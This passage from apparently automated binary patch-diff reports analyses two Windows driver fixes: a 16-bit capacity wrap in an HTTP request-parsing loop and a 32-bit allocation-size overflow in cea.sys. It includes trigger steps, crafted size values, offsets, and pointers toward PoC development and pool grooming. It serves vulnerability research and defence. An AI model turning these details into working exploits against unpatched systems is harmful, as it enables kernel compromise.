3. Loop until ~65,535 entries have been added. The function at &lt;code&gt;+0xE4A0&lt;/code&gt; should be hit on each request; the capacity field at &lt;code&gt;[rdi+0x630]&lt;/code&gt; should climb in steps of 5 until it wraps.
4. Once the wrap happens, send &lt;strong&gt;one more&lt;/strong&gt; request to fire the OOB write at &lt;code&gt;+0xE8D7&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Expected observation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Right before the bugcheck, the &lt;code&gt;ba w8&lt;/code&gt; watchpoint on the corrupted address fires, with &lt;code&gt;rsi&lt;/code&gt; (request pointer) as the written value.&lt;/li&gt;
&lt;li&gt;The bugcheck should occur shortly after, with a faulting instruction either in &lt;code&gt;nt!ExpPool...&lt;/code&gt; routines, in &lt;code&gt;nt!KiPageFault&lt;/code&gt;, or inside an adjacent corrupted object's method.&lt;/li&gt;
&lt;li&gt;Stop codes most likely: &lt;code&gt;0x50 PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt;, &lt;code&gt;0x19 BAD_POOL_HEADER&lt;/code&gt;, or &lt;code&gt;0xC2 BAD_POOL_CALLER&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Inspect the faulting address: it will be of the form &lt;code&gt;tiny_buffer + count*8&lt;/code&gt;, far past the actual allocation.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Struct / offset notes&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Connection object layout (relevant fields):
  +0x630  WORD   capacity              ; 16-bit, +5 on grow
  +0x632  WORD   count                 ; 16-bit, +1 per entry
  +0x634  ?      (padding)
  +0x638  PVOID  buffer                ; NonPagedPoolNx array of pointers
  each entry: 8 bytes (pointer to request/range object)

RTL safe-add routine (emitted only in patched build):
  RtlUShortAdd (sub_1c001c6e4) (cx=cur_capacity, dx=addend(5), r8=&amp;amp;out_new_capacity)
  returns: 0 on success, 0xC0000095 on overflow
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;UlpParseNextRequest (sub_1c000e4a0)&lt;/code&gt; → &lt;code&gt;UlpParseNextRequest (sub_1c000e550)&lt;/code&gt;&lt;/strong&gt; (similarity 0.9142, &lt;strong&gt;security-relevant&lt;/strong&gt;): The vulnerable request-processing loop. The patched build adds a KIR-gated safe grow path: a &lt;code&gt;cmp UxKirRefBufferOverflowCheck (data_1c0078d80)&lt;/code&gt; test selects between a checked path that calls the RTL safe-add routine &lt;code&gt;RtlUShortAdd (sub_1c001c6e4)&lt;/code&gt; (bails with &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt; on wrap and allocates from the validated capacity) and the original unchecked &lt;code&gt;add cx, 5&lt;/code&gt; path preserved for KIR rollback. &lt;code&gt;UlpCheckTrailerLength&lt;/code&gt; is unchanged in behavior; it is a separate function that merely moved from &lt;code&gt;sub_1c001b7b4&lt;/code&gt; to &lt;code&gt;sub_1c001c70c&lt;/code&gt; and is not invoked by the grow logic.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;UxDuoProcessCompleteCatalog (sub_1c00b77c0)&lt;/code&gt; → &lt;code&gt;UxDuoProcessCompleteCatalog (sub_1c00b8950)&lt;/code&gt;&lt;/strong&gt; (similarity 0.9663, behavioral): HTTP request body/chunk processing state machine. Changes are register renaming and offset shifts from &lt;code&gt;0x1c0076xxx&lt;/code&gt; to &lt;code&gt;0x1c0077xxx&lt;/code&gt; (data-section relocation) plus minor control-flow restructuring. No security impact.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;UxReadHttp11ParserSettings (sub_1c00d8940)&lt;/code&gt; → &lt;code&gt;UxReadHttp11ParserSettings (sub_1c00d9b80)&lt;/code&gt;&lt;/strong&gt; (similarity 0.911, behavioral): Configuration initialization. Reads registry parameters (&lt;code&gt;MaxRequestBytes&lt;/code&gt;, &lt;code&gt;MaxFieldLength&lt;/code&gt;, …) and adds a new &lt;code&gt;MaxHeadersCount&lt;/code&gt; parameter with feature-flag &lt;code&gt;UxKirMaxHeadersCountLimit (data_1c0078d81)&lt;/code&gt;. Not directly security-relevant, but it gives an interesting &lt;em&gt;attenuation&lt;/em&gt; knob: if &lt;code&gt;MaxHeadersCount&lt;/code&gt; defaults to &lt;code&gt;0x32&lt;/code&gt; with a max of &lt;code&gt;0xFFFF&lt;/code&gt;, an attacker pushing the array past the configured cap may trigger an earlier rejection on patched builds. Worth noting for trigger development on patched systems.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;UxStartEnvironmentModule (sub_1c015e480)&lt;/code&gt; ↔ &lt;code&gt;wil_details_FeatureReporting_ReportUsageToServiceDirect (sub_1c001bce0)&lt;/code&gt;&lt;/strong&gt; (similarity 0.2783, cosmetic/heuristic): Algorithmic mismatch — paired by call-sequence heuristics, not a true diff. Treat as independent functions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;UlpCheckTrailerLength (sub_1c001b7b4)&lt;/code&gt; ↔ &lt;code&gt;WPP_SF_qddd (sub_1c0097654)&lt;/code&gt;&lt;/strong&gt; (similarity 0.1667, heuristic mispairing): Two unrelated functions paired by call-reference matching. &lt;code&gt;UlpCheckTrailerLength&lt;/code&gt; itself is the same function relocated to &lt;code&gt;sub_1c001c70c&lt;/code&gt; in the patched build; &lt;code&gt;WPP_SF_qddd&lt;/code&gt; is a WPP/ETW tracing wrapper (&lt;code&gt;sub_1c0096654&lt;/code&gt; → &lt;code&gt;sub_1c0097654&lt;/code&gt;). Not a semantic diff.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;WPP_SF_qddd (sub_1c0096654)&lt;/code&gt; ↔ &lt;code&gt;RtlUShortAdd (sub_1c001c6e4)&lt;/code&gt;&lt;/strong&gt; (similarity 0.0082, heuristic mispairing): Unpatched-side &lt;code&gt;WPP_SF_qddd&lt;/code&gt; is a WPP/ETW tracing wrapper; patched-side &lt;code&gt;RtlUShortAdd&lt;/code&gt; is the standard RTL safe-add library routine that the fixed loop calls. They are different functions paired erroneously. &lt;code&gt;RtlUShortAdd&lt;/code&gt;'s role in the fix is covered under the &lt;code&gt;UlpParseNextRequest (sub_1c000e4a0)&lt;/code&gt; finding.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Collapsed note on non-security changes:&lt;/em&gt; the only meaningful diffs across all six functions are (a) the KIR-gated overflow-checked grow path added to &lt;code&gt;UlpParseNextRequest (sub_1c000e4a0)&lt;/code&gt;, which calls the RTL library routine &lt;code&gt;RtlUShortAdd (sub_1c001c6e4)&lt;/code&gt;, and (b) the new &lt;code&gt;MaxHeadersCount&lt;/code&gt; registry parameter in &lt;code&gt;UxReadHttp11ParserSettings&lt;/code&gt;. Everything else is data-section relocation, register allocation, or diff-tool mispairing.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None. Both &lt;code&gt;removed&lt;/code&gt; and &lt;code&gt;added&lt;/code&gt; lists are empty. The fix was implemented in the patched request-processing loop, plus the RTL safe-add routine &lt;code&gt;RtlUShortAdd (sub_1c001c6e4)&lt;/code&gt; which is emitted only in the patched build and was paired to an unrelated unpatched function by call-reference heuristics rather than listed as added.&lt;/p&gt;
&lt;p&gt;Implication: there is no removed sanitizer and no removed check. The patch is additive: a new overflow-checked grow path guarded by the KIR flag &lt;code&gt;UxKirRefBufferOverflowCheck (data_1c0078d80)&lt;/code&gt;. The unpatched binary has no overflow check on this &lt;code&gt;capacity + 5&lt;/code&gt; add. Note that the patched binary still contains the original unchecked path, reachable when the KIR flag is disabled.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: high.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Rationale:
- The vulnerable arithmetic is unambiguous in disassembly: a 16-bit add followed immediately by a 32-bit-safe allocation size computation, with no intervening comparison.
- The patch introduces a textbook overflow-detection idiom (&lt;code&gt;lea; cmp; jb&lt;/code&gt;) that exactly targets this add.
- The OOB write at &lt;code&gt;mov qword [rax+rcx*8], rsi&lt;/code&gt; uses the same register that just tracked &lt;code&gt;count&lt;/code&gt;, making the data flow self-evident.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assumptions made:&lt;/strong&gt;
- That the per-connection array can in fact reach ~65,535 entries on a real system. The patch ships a default &lt;code&gt;MaxHeadersCount&lt;/code&gt; of &lt;code&gt;0x32&lt;/code&gt; and a max of &lt;code&gt;0xFFFF&lt;/code&gt;, which suggests Microsoft believes the array &lt;em&gt;can&lt;/em&gt; legitimately grow to &lt;code&gt;0xFFFF&lt;/code&gt; in some configurations. The exact attacker-controlled input that drives growth (Range headers vs. pipelined requests vs. chunked segments) was inferred from context; verify by tracing which caller increments the count field in your lab.
- That the array lives in &lt;code&gt;NonPagedPoolNx&lt;/code&gt;. This is consistent with the &lt;code&gt;ExAllocatePoolWithTagPriority&lt;/code&gt; call and the lack of IRQL checks elsewhere in the function, but confirm via pool tagging (&lt;code&gt;!pool&lt;/code&gt;, &lt;code&gt;!poolfind&lt;/code&gt;) at runtime.
- That the caller chain &lt;code&gt;UlpAuthenticateRequestCompletion (sub_1c01176a0)&lt;/code&gt; → &lt;code&gt;UlResumeParsing (sub_1c000a940)&lt;/code&gt; → &lt;code&gt;UlpHandleRequest (sub_1c000e1a0)&lt;/code&gt; → &lt;code&gt;UlBeginOpaqueMode (sub_1c002dc84)&lt;/code&gt; → &lt;code&gt;UlpParseNextRequest (sub_1c000e4a0)&lt;/code&gt; is reachable from remote HTTP traffic. The chain is taken from cross-references; verify each step with breakpoints in a live debugger before claiming remote reachability for certain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What a researcher should verify before writing a PoC:&lt;/strong&gt;
1. Confirm the connection object layout by dumping &lt;code&gt;[rdi+0x630]&lt;/code&gt;, &lt;code&gt;[rdi+0x632]&lt;/code&gt;, &lt;code&gt;[rdi+0x638]&lt;/code&gt; on a fresh connection and correlating with request count.
2. Identify the &lt;em&gt;exact&lt;/em&gt; request shape that adds one entry per request — test Range, chunked, and pipelined variants.
3. Measure real-world throughput to 65k entries; expect that some intermediaries (proxies, TLS terminators) limit range/pipeline depth and may force the use of many independent keep-alive requests.
4. Confirm pool location and neighbor objects: capture a pool walk immediately after the undersized allocation to identify the realistic victim object for exploitation.
5. Validate bugcheck conditions and pool-corruption patterns in a VM with Driver Verifier enabled (to catch the overflow earlier and more cleanly).&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>cea.sys — Integer overflow (CWE-190) leading to kernel pool buffer overflow (CWE-122) in EaSignalAggregatedEvent fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/cea_2b8966c3-cea-report-20260628-215130.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/cea_2b8966c3-cea-report-20260628-215130.html</id><summary type="html">&lt;p&gt;KB5082142&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cea_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cea_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.90&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;146&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;84&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;62&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (either direction)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch closes a critical integer-overflow → kernel-pool-buffer-overflow in &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; by adding an explicit wrap-around check (new helper &lt;code&gt;EapSignalContentPrepareEventForPublishing (sub_140008b90)&lt;/code&gt;), and broadly hardens the driver by migrating every &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; call to &lt;code&gt;ExAllocatePool2&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Critical: Integer Overflow (CWE-190) → Kernel Pool Buffer Overflow (CWE-122)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;Integer overflow → heap/pool overflow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Function&lt;/td&gt;
&lt;td&gt;&lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; (&lt;code&gt;cea_unpatched!EaSignalAggregatedEvent&lt;/code&gt;, &lt;code&gt;0x1c00034b0&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Primitive&lt;/td&gt;
&lt;td&gt;Controllable, large kernel pool overflow (write size up to ~4 GB past allocation end)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; computes the pool allocation size as a 32-bit sum of three components:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;total_size = (arg5 ? 0x10 : 0) + arg8 + (arg6 ? 0x10 : 0)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;arg8&lt;/code&gt; is the caller-supplied variable-length data size. It is loaded as a 32-bit value at &lt;code&gt;0x1c0003545&lt;/code&gt; (&lt;code&gt;mov r15d, dword ptr [rbp+3Fh+Size]&lt;/code&gt;), so both the size arithmetic and the eventual copy length are 32-bit-bounded (maximum ~4 GB). The sum is performed with &lt;code&gt;lea eax,[r15+rcx]&lt;/code&gt; followed by &lt;code&gt;add ebx,eax&lt;/code&gt; — both 32-bit ops, with &lt;strong&gt;no overflow check&lt;/strong&gt;. The only guard is a &lt;code&gt;je&lt;/code&gt; that fires &lt;em&gt;only&lt;/em&gt; if the sum wraps &lt;strong&gt;exactly&lt;/strong&gt; to zero, missing the general overflow case.&lt;/p&gt;
&lt;p&gt;If &lt;code&gt;arg8 = 0xFFFFFFF0&lt;/code&gt; and both &lt;code&gt;arg5&lt;/code&gt;/&lt;code&gt;arg6&lt;/code&gt; are non-NULL, the wrap is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xFFFFFFF0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x100000010&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;→&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x00000010&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;32&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;truncated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The driver then calls &lt;code&gt;ExAllocatePoolWithTag(PagedPool, 0x10, 'EtvA')&lt;/code&gt; — allocating only 16 bytes — but proceeds to copy:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;16 bytes from &lt;code&gt;arg5&lt;/code&gt; (fills the allocation exactly),&lt;/li&gt;
&lt;li&gt;16 bytes from &lt;code&gt;arg6&lt;/code&gt; (first 16 bytes of overflow),&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arg8&lt;/code&gt; bytes (≈ 4 GB) from &lt;code&gt;arg7&lt;/code&gt; via &lt;code&gt;memmove (sub_1c0008d80)&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The result is a catastrophic kernel pool overflow, controllable in both size and (partially) content.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix.&lt;/strong&gt; The patched driver inserts a new helper, &lt;code&gt;EapSignalContentPrepareEventForPublishing (sub_140008b90)&lt;/code&gt;, that performs an explicit wrap detection:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;var_data&lt;/span&gt;
&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;⇒&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wrapped&lt;/span&gt;
&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;overflow_error&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INTEGER_OVERFLOW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0xC0000095&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;and adds an explicit buffer-too-small validation returning &lt;code&gt;STATUS_BUFFER_TOO_SMALL&lt;/code&gt; (&lt;code&gt;0xC0000023&lt;/code&gt;). All pool allocations also migrate from &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; to &lt;code&gt;ExAllocatePool2(POOL_FLAG_NON_PAGED, ...)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reachability.&lt;/strong&gt; &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; (&lt;code&gt;0x1c00034b0&lt;/code&gt;) is an exported function with &lt;strong&gt;no internal callers&lt;/strong&gt; in the driver; the vulnerable size computation and the &lt;code&gt;'EtvA'&lt;/code&gt; allocation exist only inside it. It is therefore reached through its export: a caller supplies &lt;code&gt;arg1&lt;/code&gt; (aggregation context), &lt;code&gt;arg2&lt;/code&gt; (event-ID pair), &lt;code&gt;arg5&lt;/code&gt;/&lt;code&gt;arg6&lt;/code&gt; (optional 16-byte blocks), &lt;code&gt;arg7&lt;/code&gt; (variable data pointer) and &lt;code&gt;arg8&lt;/code&gt; (variable data size). The size arithmetic operates directly on the caller-supplied &lt;code&gt;arg8&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The WNF notification path does &lt;strong&gt;not&lt;/strong&gt; reach this computation. &lt;code&gt;WnfEventCallback (sub_1c00018c8)&lt;/code&gt; parses the WNF state buffer and calls &lt;code&gt;EaiProcessNotification (sub_1c0001bc4)&lt;/code&gt; directly; &lt;code&gt;EaiProcessNotification&lt;/code&gt; is a callee of &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; (invoked at &lt;code&gt;0x1c0003670&lt;/code&gt; after the allocation), not a route back into the vulnerable code. The exact RPC opnum that dispatches into &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; from user mode is not determinable from these binaries.&lt;/p&gt;
&lt;h3&gt;Finding 2 — No security-relevant change: WNF State Data Parsing Refactored&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;None (refactor)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;Validation logic extracted into a shared helper; no bounds check added or removed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Function&lt;/td&gt;
&lt;td&gt;&lt;code&gt;WnfEventCallback (sub_1C00018C8)&lt;/code&gt; (similarity 0.5941 vs patched)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The unpatched &lt;code&gt;WnfEventCallback (sub_1C00018C8)&lt;/code&gt; parses a packed bitfield structure from a WNF state buffer and &lt;strong&gt;already validates its bounds inline&lt;/strong&gt;: it rejects buffers smaller than 8 bytes (&lt;code&gt;cmp r9d, 8; jnb&lt;/code&gt; at &lt;code&gt;0x1c00019b9&lt;/code&gt;) and buffers smaller than &lt;code&gt;count + 8&lt;/code&gt; (&lt;code&gt;cmp r9, rcx; jnb&lt;/code&gt; at &lt;code&gt;0x1c0001a41&lt;/code&gt;, with &lt;code&gt;rcx = ((*buf &amp;gt;&amp;gt; 2) &amp;amp; 0xFFF) + 8&lt;/code&gt;). The patched version moves this same bitfield parsing and the same checks into a new helper &lt;code&gt;EapSignalMessageReadFromBuffer (sub_140008a98)&lt;/code&gt;, which enforces the equivalent conditions (&lt;code&gt;size &amp;gt;= 8&lt;/code&gt; at &lt;code&gt;0x140008aab&lt;/code&gt; returning &lt;code&gt;STATUS_BUFFER_TOO_SMALL&lt;/code&gt;; &lt;code&gt;size &amp;gt;= count + 8&lt;/code&gt; at &lt;code&gt;0x140008ada&lt;/code&gt; returning &lt;code&gt;0xc000090b&lt;/code&gt;; and a trailing per-field size check returning &lt;code&gt;STATUS_DATA_ERROR&lt;/code&gt; / &lt;code&gt;0xc000003e&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;This is a &lt;strong&gt;refactor&lt;/strong&gt;: no bounds check is added that was absent before, and none is removed. The WNF path does not reach the &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; size computation of Finding 1 — &lt;code&gt;WnfEventCallback&lt;/code&gt; calls &lt;code&gt;EaiProcessNotification (sub_1c0001bc4)&lt;/code&gt; directly, and does not invoke the overflow-checked builder &lt;code&gt;EapSignalContentPrepareEventForPublishing (sub_140008b90)&lt;/code&gt;. There is no security-relevant change on this path.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; — vulnerable size computation&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============== UNPATCHED (0x1c00034b0) ==============&lt;/span&gt;
&lt;span class="c1"&gt;// arg5, arg6: pointers to 16-byte event-data blocks (optional)&lt;/span&gt;
&lt;span class="c1"&gt;// arg7      : pointer to variable-length data&lt;/span&gt;
&lt;span class="c1"&gt;// arg8      : variable-length data SIZE (32-bit, attacker-controlled)&lt;/span&gt;

&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg6_contrib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5_contrib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// *** VULNERABLE: 32-bit addition with NO overflow check ***&lt;/span&gt;
